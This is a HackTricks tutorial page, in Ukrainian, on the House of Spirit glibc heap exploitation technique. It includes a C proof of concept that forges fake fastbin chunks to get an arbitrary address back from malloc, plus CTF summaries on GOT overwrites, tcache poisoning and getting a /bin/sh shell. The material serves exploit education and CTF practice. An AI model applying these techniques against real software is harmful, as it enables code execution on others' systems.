House of Spirit

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Основна інформація

Код

House of Spirit
c
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk {
size_t prev_size;
size_t size;
struct fast_chunk *fd;
struct fast_chunk *bk;
char buf[0x20];               // chunk falls in fastbin size range
};

int main() {
struct fast_chunk fake_chunks[2];   // Two chunks in consecutive memory
void *ptr, *victim;

ptr = malloc(0x30);

printf("Original alloc address: %p\n", ptr);
printf("Main fake chunk:%p\n", &fake_chunks[0]);
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);

// Passes size check of "free(): invalid size"
fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes "free(): invalid next size (fast)"
fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be 'freed'
// Point to .fd as it's the start of the content of the chunk
ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30);
printf("Victim: %p\n", victim);

return 0;
}

Мета

  • Мати можливість додати адресу в tcache / fast bin, щоб пізніше можна було її виділити

Вимоги

  • Цей напад вимагає, щоб нападник міг створити кілька фальшивих швидких частин, правильно вказуючи значення розміру, а потім мати можливість звільнити першу фальшиву частину, щоб вона потрапила в бін.

Напад

  • Створити фальшиві частини, які обходять перевірки безпеки: вам знадобиться 2 фальшиві частини, які в основному вказують у правильних позиціях правильні розміри
  • Якимось чином звільнити першу фальшиву частину, щоб вона потрапила в швидкий або tcache бін, а потім виділити її, щоб перезаписати цю адресу

Код від guyinatuxedo чудово допомагає зрозуміти напад. Хоча ця схема з коду досить добре його узагальнює:

c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

note

Зверніть увагу, що необхідно створити другий шматок, щоб обійти деякі перевірки.

Приклади

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: Через переповнення можливо змінити вказівник, щоб він вказував на адресу GOT для витоку адреси libc через дію читання CTF

  • House of Spirit: Зловживаючи лічильником, який підраховує кількість "гвинтівок", можливо згенерувати фальшивий розмір першого фальшивого шматка, потім, зловживаючи "повідомленням", можливо підробити другий розмір шматка, а нарешті, зловживаючи переповненням, можливо змінити вказівник, який буде звільнений, щоб наш перший фальшивий шматок був звільнений. Потім ми можемо виділити його, і всередині нього буде адреса, де зберігається "повідомлення". Потім можливо зробити так, щоб це вказувало на вхід scanf в таблиці GOT, щоб ми могли перезаписати його адресою системи.
    Наступного разу, коли буде викликано scanf, ми можемо надіслати введення "/bin/sh" і отримати оболонку.

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: Нініціалізований стековий буфер.

  • House of Spirit: Ми можемо змінити перший індекс глобального масиву вказівників на купу. З однією байтовою модифікацією ми використовуємо free на фальшивому шматку всередині дійсного шматка, щоб отримати ситуацію з перекритими шматками після повторного виділення. З цим проста атака отруєння Tcache працює для отримання примітиву довільного запису.

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks